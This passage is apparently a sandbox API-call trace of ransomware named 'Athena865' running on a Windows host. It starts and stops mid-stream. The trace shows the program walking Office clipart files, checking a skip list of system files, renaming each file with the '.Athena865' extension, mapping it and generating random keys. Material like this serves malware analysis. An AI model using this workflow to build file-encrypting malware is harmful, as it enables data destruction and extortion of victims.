lstrcmpiW (lpString1="WMF", lpString2="rpd") returned 1 [0121.796] lstrlenW (lpString="rsd") returned 3 [0121.796] lstrcmpiW (lpString1="WMF", lpString2="rsd") returned 1 [0121.796] lstrlenW (lpString="sas7bdat") returned 8 [0121.796] lstrcmpiW (lpString1="804_.WMF", lpString2="sas7bdat") returned -1 [0121.796] lstrlenW (lpString="sbf") returned 3 [0121.796] lstrcmpiW (lpString1="WMF", lpString2="sbf") returned 1 [0121.796] lstrlenW (lpString="scx") returned 3 [0121.796] lstrcmpiW (lpString1="WMF", lpString2="scx") returned 1 [0121.796] lstrlenW (lpString="sdb") returned 3 [0121.796] lstrcmpiW (lpString1="WMF", lpString2="sdb") returned 1 [0121.796] lstrlenW (lpString="sdc") returned 3 [0121.796] lstrcmpiW (lpString1="WMF", lpString2="sdc") returned 1 [0121.797] lstrlenW (lpString="sdf") returned 3 [0121.797] lstrcmpiW (lpString1="WMF", lpString2="sdf") returned 1 [0121.797] lstrlenW (lpString="sis") returned 3 [0121.797] lstrcmpiW (lpString1="WMF", lpString2="sis") returned 1 [0121.797] lstrlenW (lpString="spq") returned 3 [0121.797] lstrcmpiW (lpString1="WMF", lpString2="spq") returned 1 [0121.797] lstrlenW (lpString="te") returned 2 [0121.797] lstrcmpiW (lpString1="MF", lpString2="te") returned -1 [0121.797] lstrlenW (lpString="teacher") returned 7 [0121.797] lstrcmpiW (lpString1="04_.WMF", lpString2="teacher") returned -1 [0121.797] lstrlenW (lpString="tmd") returned 3 [0121.797] lstrcmpiW (lpString1="WMF", lpString2="tmd") returned 1 [0121.797] lstrlenW (lpString="tps") returned 3 [0121.797] lstrcmpiW (lpString1="WMF", lpString2="tps") returned 1 [0121.797] lstrlenW (lpString="trc") returned 3 [0121.797] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0121.797] lstrlenW (lpString="trc") returned 3 [0121.797] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0121.797] lstrlenW (lpString="trm") returned 3 [0121.797] lstrcmpiW (lpString1="WMF", lpString2="trm") returned 1 [0121.797] lstrlenW (lpString="udb") returned 3 [0121.797] lstrcmpiW (lpString1="WMF", lpString2="udb") returned 1 [0121.797] lstrlenW (lpString="udl") returned 3 [0121.797] lstrcmpiW (lpString1="WMF", lpString2="udl") returned 1 [0121.797] lstrlenW (lpString="usr") returned 3 [0121.797] lstrcmpiW (lpString1="WMF", lpString2="usr") returned 1 [0121.797] lstrlenW (lpString="v12") returned 3 [0121.797] lstrcmpiW (lpString1="WMF", lpString2="v12") returned 1 [0121.797] lstrlenW (lpString="vis") returned 3 [0121.798] lstrcmpiW (lpString1="WMF", lpString2="vis") returned 1 [0121.798] lstrlenW (lpString="vpd") returned 3 [0121.798] lstrcmpiW (lpString1="WMF", lpString2="vpd") returned 1 [0121.798] lstrlenW (lpString="vvv") returned 3 [0121.798] lstrcmpiW (lpString1="WMF", lpString2="vvv") returned 1 [0121.798] lstrlenW (lpString="wdb") returned 3 [0121.798] lstrcmpiW (lpString1="WMF", lpString2="wdb") returned 1 [0121.798] lstrlenW (lpString="wmdb") returned 4 [0121.798] lstrcmpiW (lpString1=".WMF", lpString2="wmdb") returned -1 [0121.798] lstrlenW (lpString="wrk") returned 3 [0121.798] lstrcmpiW (lpString1="WMF", lpString2="wrk") returned -1 [0121.798] lstrlenW (lpString="xdb") returned 3 [0121.798] lstrcmpiW (lpString1="WMF", lpString2="xdb") returned -1 [0121.798] lstrlenW (lpString="xld") returned 3 [0121.798] lstrcmpiW (lpString1="WMF", lpString2="xld") returned -1 [0121.798] lstrlenW (lpString="xmlff") returned 5 [0121.798] lstrcmpiW (lpString1="_.WMF", lpString2="xmlff") returned -1 [0121.798] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF.Athena865") returned 73 [0121.798] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf.athena865"), dwFlags=0x1) returned 1 [0121.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.799] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4924) returned 1 [0121.799] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.799] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.799] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.800] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.800] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.800] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.800] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1640, lpName=0x0) returned 0x154 [0121.804] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1640) returned 0x100000 [0121.810] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.811] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.811] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.811] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0121.811] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0121.812] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0121.812] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0121.812] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.812] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0121.812] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0121.812] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0121.812] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.812] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0121.812] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0121.812] CloseHandle (hObject=0x154) returned 1 [0121.812] CloseHandle (hObject=0x17c) returned 1 [0121.812] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0121.812] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0121.812] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0121.813] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BD07831_.WMF", cAlternateFileName="")) returned 1 [0121.813] lstrcmpiW (lpString1="BD07831_.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0121.813] lstrcmpiW (lpString1="BD07831_.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0121.813] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BD07831_.WMF" | out: lpString1="BD07831_.WMF") returned="BD07831_.WMF" [0121.813] lstrlenW (lpString="BD07831_.WMF") returned 12 [0121.813] lstrlenW (lpString="Athena865") returned 9 [0121.813] lstrcmpiW (lpString1="7831_.WMF", lpString2="Athena865") returned -1 [0121.813] lstrlenW (lpString=".dll") returned 4 [0121.813] lstrcmpiW (lpString1="BD07831_.WMF", lpString2=".dll") returned 1 [0121.813] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF.Athena865") returned 73 [0121.813] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf.athena865"), dwFlags=0x1) returned 1 [0121.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.815] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4066) returned 1 [0121.815] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.815] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.815] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.815] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.816] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.816] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.816] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x12f0, lpName=0x0) returned 0x154 [0121.818] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x12f0) returned 0x100000 [0121.819] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.819] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.819] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.820] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0121.820] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0121.820] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0121.820] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0121.820] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.820] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0121.820] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0121.820] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0121.820] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.820] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0121.820] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0121.820] CloseHandle (hObject=0x154) returned 1 [0121.820] CloseHandle (hObject=0x17c) returned 1 [0121.820] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0121.820] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0121.821] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0121.821] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5f00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BD08758_.WMF", cAlternateFileName="")) returned 1 [0121.821] lstrcmpiW (lpString1="BD08758_.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0121.821] lstrcmpiW (lpString1="BD08758_.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0121.821] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BD08758_.WMF" | out: lpString1="BD08758_.WMF") returned="BD08758_.WMF" [0121.821] lstrlenW (lpString="BD08758_.WMF") returned 12 [0121.821] lstrlenW (lpString="Athena865") returned 9 [0121.821] lstrcmpiW (lpString1="8758_.WMF", lpString2="Athena865") returned -1 [0121.821] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF.Athena865") returned 73 [0121.822] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf.athena865"), dwFlags=0x1) returned 1 [0121.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.825] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=24320) returned 1 [0121.825] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.825] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.826] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.826] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.826] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.826] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.827] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6200, lpName=0x0) returned 0x154 [0121.828] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6200) returned 0x100000 [0121.829] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.830] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.830] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.830] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0121.830] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0121.830] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0121.830] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0121.830] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.830] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0121.830] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0121.831] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0121.831] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.831] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0121.831] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0121.831] CloseHandle (hObject=0x154) returned 1 [0121.831] CloseHandle (hObject=0x17c) returned 1 [0121.831] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0121.831] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0121.831] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0121.831] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x60ca, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BD08773_.WMF", cAlternateFileName="")) returned 1 [0121.831] lstrcmpiW (lpString1="BD08773_.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0121.832] lstrcmpiW (lpString1="BD08773_.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0121.832] lstrcmpiW (lpString1="BD08773_.WMF", lpString2=".") returned 1 [0121.832] lstrcmpiW (lpString1="BD08773_.WMF", lpString2="..") returned 1 [0121.832] lstrcmpiW (lpString1="BD08773_.WMF", lpString2="windows") returned -1 [0121.832] lstrcmpiW (lpString1="BD08773_.WMF", lpString2="bootmgr") returned -1 [0121.832] lstrcmpiW (lpString1="BD08773_.WMF", lpString2="temp") returned -1 [0121.832] lstrcmpiW (lpString1="BD08773_.WMF", lpString2="pagefile.sys") returned -1 [0121.832] lstrcmpiW (lpString1="BD08773_.WMF", lpString2="boot") returned -1 [0121.832] lstrcmpiW (lpString1="BD08773_.WMF", lpString2="ids.txt") returned -1 [0121.832] lstrcmpiW (lpString1="BD08773_.WMF", lpString2="ntuser.dat") returned -1 [0121.832] lstrcmpiW (lpString1="BD08773_.WMF", lpString2="perflogs") returned -1 [0121.832] lstrcmpiW (lpString1="BD08773_.WMF", lpString2="MSBuild") returned -1 [0121.832] lstrlenW (lpString="BD08773_.WMF") returned 12 [0121.832] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BD08773_.WMF" | out: lpString1="BD08773_.WMF") returned="BD08773_.WMF" [0121.832] lstrlenW (lpString="BD08773_.WMF") returned 12 [0121.832] lstrlenW (lpString="Athena865") returned 9 [0121.832] lstrcmpiW (lpString1="8773_.WMF", lpString2="Athena865") returned -1 [0121.832] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF.Athena865") returned 73 [0121.832] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf.athena865"), dwFlags=0x1) returned 1 [0121.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.833] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=24778) returned 1 [0121.834] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.834] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.834] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.834] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.835] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.835] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.835] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x63d0, lpName=0x0) returned 0x154 [0121.836] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x63d0) returned 0x100000 [0121.839] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.839] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.840] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.840] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0121.840] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0121.840] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0121.840] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0121.840] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.840] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0121.840] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0121.840] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0121.840] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.840] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0121.840] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0121.841] CloseHandle (hObject=0x154) returned 1 [0121.841] CloseHandle (hObject=0x17c) returned 1 [0121.841] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0121.841] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0121.841] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0121.841] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbb7c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BD08808_.WMF", cAlternateFileName="")) returned 1 [0121.841] lstrcmpiW (lpString1="BD08808_.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0121.841] lstrcmpiW (lpString1="BD08808_.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0121.841] lstrcmpiW (lpString1="BD08808_.WMF", lpString2=".") returned 1 [0121.841] lstrcmpiW (lpString1="BD08808_.WMF", lpString2="..") returned 1 [0121.841] lstrcmpiW (lpString1="BD08808_.WMF", lpString2="windows") returned -1 [0121.841] lstrcmpiW (lpString1="BD08808_.WMF", lpString2="bootmgr") returned -1 [0121.841] lstrcmpiW (lpString1="BD08808_.WMF", lpString2="temp") returned -1 [0121.841] lstrcmpiW (lpString1="BD08808_.WMF", lpString2="pagefile.sys") returned -1 [0121.841] lstrcmpiW (lpString1="BD08808_.WMF", lpString2="boot") returned -1 [0121.841] lstrcmpiW (lpString1="BD08808_.WMF", lpString2="ids.txt") returned -1 [0121.841] lstrcmpiW (lpString1="BD08808_.WMF", lpString2="ntuser.dat") returned -1 [0121.841] lstrcmpiW (lpString1="BD08808_.WMF", lpString2="perflogs") returned -1 [0121.842] lstrcmpiW (lpString1="BD08808_.WMF", lpString2="MSBuild") returned -1 [0121.842] lstrlenW (lpString="BD08808_.WMF") returned 12 [0121.842] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BD08808_.WMF" | out: lpString1="BD08808_.WMF") returned="BD08808_.WMF" [0121.842] lstrlenW (lpString="BD08808_.WMF") returned 12 [0121.842] lstrlenW (lpString="Athena865") returned 9 [0121.842] lstrcmpiW (lpString1="8808_.WMF", lpString2="Athena865") returned -1 [0121.842] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF.Athena865") returned 73 [0121.842] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf.athena865"), 